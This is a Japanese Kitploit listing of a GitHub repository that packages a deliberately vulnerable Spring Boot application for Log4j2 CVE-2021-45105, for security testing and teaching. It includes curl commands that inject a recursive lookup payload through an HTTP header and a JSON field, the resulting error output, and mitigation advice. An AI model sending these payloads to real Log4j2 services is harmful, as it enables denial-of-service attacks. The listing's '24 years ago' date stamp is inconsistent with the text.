Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
log4j2-CVE-2021-45105 — Log4j2 CVE-2021-45105に対して脆弱なサンプルSpring Boot Webアプリケーション。セキュリティテストおよび教育向けに、文書化された悪用手順と緩和ガイダンスを提供します。 | Kitploit
ツール/GitHubGitHub/pravin-pp/log4j2-cve-2021-45105
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubpravin-pp/log4j2-cve-2021-45105

log4j2-CVE-2021-45105

Log4j2 CVE-2021-45105に対して脆弱なサンプルSpring Boot Webアプリケーション。セキュリティテストおよび教育向けに、文書化された悪用手順と緩和ガイダンスを提供します。

リポジトリを見る
24年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Sample Log4j2 vulnerable application (CVE-2021-45105)

影響を受けるバージョン: 2.0-beta9 から 2.16.0 までの全バージョン

このアプリケーションは、CVE-2021-45105 に対して脆弱な Spring Boot Web アプリケーションをベースとしています。

Log4j 2.16.0 を使用しています。

アプリケーションの実行

実行する:

root@kitploit:~
Import the project in Java IDE as a maven project

Run CVEMainApplication.java as a spring boot app.

悪用手順

  • 次に、以下を使用してエクスプロイトをトリガーします:
root@kitploit:~
For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${${::-${::-$${::-$}}}}'


For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
	"clientRef": "${${::-${::-$${::-$}}}}"
}'
  • 出力に無限ループが表示されていることに注意してください。ただし、テストではこの DOS がリソースを消費するものとは判明しませんでした。この無限ループはプログラムによって識別され、エラーで終了するためです。
root@kitploit:~

 ${ctx:apiVersion} ${ctx:clientRef}2021-12-18 14:29:56,759 http-nio-8080-exec-1 ERROR An exception occurred processing Appender Console java.lang.IllegalStateException: Infinite loop in property interpolation of ::-${::-$${::-j}}: :
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
	

緩和策:

Java 8(以降)のユーザーはリリース 2.17.0 にアップグレードする必要があります。

あるいは、構成でこれを緩和できます:

  • ロギング構成の PatternLayout で、${ctx:loginId} や $${ctx:loginId} のような Context Lookups を Thread Context Map パターン(%X、%mdc、または %MDC)に置き換えます。
  • それ以外の場合は、構成内で、HTTP ヘッダーやユーザー入力などアプリケーション外部のソースから発信される ${ctx:loginId} や $${ctx:loginId} のような Context Lookups への参照を削除します。
ツールをダウンロード